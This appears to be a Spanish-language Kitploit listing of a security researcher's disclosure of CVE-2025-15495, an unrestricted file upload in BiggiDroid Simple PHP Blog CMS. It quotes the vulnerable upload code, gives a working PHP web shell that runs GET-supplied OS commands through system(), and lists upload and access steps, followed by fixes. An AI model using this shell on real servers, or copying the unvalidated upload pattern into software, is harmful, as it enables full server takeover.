Directorio de Herramientas
Categorías
RCE-Simplephpblog-biggiedroid — CVE-2025-15495 - Carga arbitraria de archivos que conduce a Ejecución Remota de Código (RCE) | Kitploit
Herramientas / GitHub / asim-qazi / rce-simplephpblog-biggiedroid
asim-qazi/rce-simplephpblog-biggiedroid RCE-Simplephpblog-biggiedroid CVE-2025-15495 - Carga arbitraria de archivos que conduce a Ejecución Remota de Código (RCE)
9 hace 8 mesesDescubre las herramientas más usadas por nuestra comunidad.
Últimos 7 Días Últimos 30 Días
CVE-2025-15495 - Carga Arbitraria de Archivos que Conduce a Ejecución Remota de Código (RCE)
Producto
BiggiDroid – Simple PHP Blog CMS
Página del producto: https://biggidroid.com/product/simple-php-blog/
Tipo de Vulnerabilidad
Carga Arbitraria de Archivos
Carga de Archivos sin Restricciones
Ejecución Remota de Código (RCE)
Gravedad
Crítica
CVSS (Estimado): 9.8 (AV:N / AC:L / PR:L / UI:N / S:U / C:H / I:H / A:H)
Resumen
El Simple PHP Blog CMS contiene una vulnerabilidad de carga de archivos sin restricciones en la funcionalidad de carga del logotipo del sitio del panel de administración.
Un atacante autenticado puede cargar un archivo PHP malicioso disfrazado como imagen, que se almacena en un directorio accesible desde la web y es ejecutado por el servidor, lo que resulta en ejecución remota de comandos .
Componente Afectado
Panel de Administración → Actualizar Logotipo del Sitio
Fragmento de código vulnerable relevante:
$target = "../image/".basename($_FILES['image']['name']);
$image = $_FILES['image']['name'];
$query = mysqli_query($con,
"UPDATE sitedetails SET sitelogo='$image' WHERE id='$id'");
if (move_uploaded_file($_FILES['image']['tmp_name'], $target)) {
// success
}
Problemas
Sin validación de extensión de archivo
Sin validación de tipo MIME
Sin comprobaciones del contenido del archivo del lado del servidor
Prueba de Concepto (PoC)
Crear un Archivo PHP Malicioso Crear un archivo llamado shell.php:
<?php
$cmd = $_GET['cmd'] ?? '';
echo "<pre>";
system($cmd);
echo "</pre>";
?>
Cargar el Archivo a través del Panel de Administración
Iniciar sesión en el panel de administración
Navegar a Logotipo del Sitio → Actualizar Logotipo
Cargar shell.php como archivo de logotipo
Enviar el formulario
📌 La aplicación acepta el archivo PHP sin validación
Acceder al Web Shell Cargado Después de la carga, el archivo es accesible en:
http://127.0.0.1/image/shell.php
Ejecutar comandos del sistema:
http://127.0.0.1/image/shell.php?cmd=dir
Ejecución Exitosa de Comandos El servidor ejecuta comandos del SO y devuelve la salida, confirmando la Ejecución Remota de Código .
Prueba de Concepto
Página del Producto
Cargar Shell desde esta ubicación.
Shell PHP
Ejecución Remota de Código
Código Vulnerable
Impacto
Ejecutar comandos arbitrarios del SO
Leer archivos de configuración sensibles
Modificar o eliminar datos de la aplicación
Cargar puertas traseras persistentes
Comprometer completamente el servidor de alojamiento
Esta vulnerabilidad puede llevar a la toma total del servidor .
Análisis de Causa Raíz
Falta de lista blanca de extensiones de archivo
Sin aplicación de tipo MIME
Uso directo del nombre de archivo proporcionado por el usuario
El directorio de carga permite la ejecución de PHP
Sin endurecimiento del servidor / .htaccess
✅ Correcciones Recomendadas
Restringir extensiones de archivo
$allowed = ['jpg','jpeg','png','gif'];
Validar tipo MIME
Renombrar archivos cargados
Usar UUID aleatorios
Nunca confiar en los nombres de archivo del usuario
📚 Referencias
OWASP Carga de Archivos sin Restricciones
CWE-434: Carga sin restricciones de archivos con tipo peligroso
OWASP Top 10 – A03: Inyección
🧑💻 Descubierto Por
Mo Asim también conocido como Asim Qazi
Github: @Asim-Qazi
LinkedIn: Asim Qazi
Estudiante | Investigador de Seguridad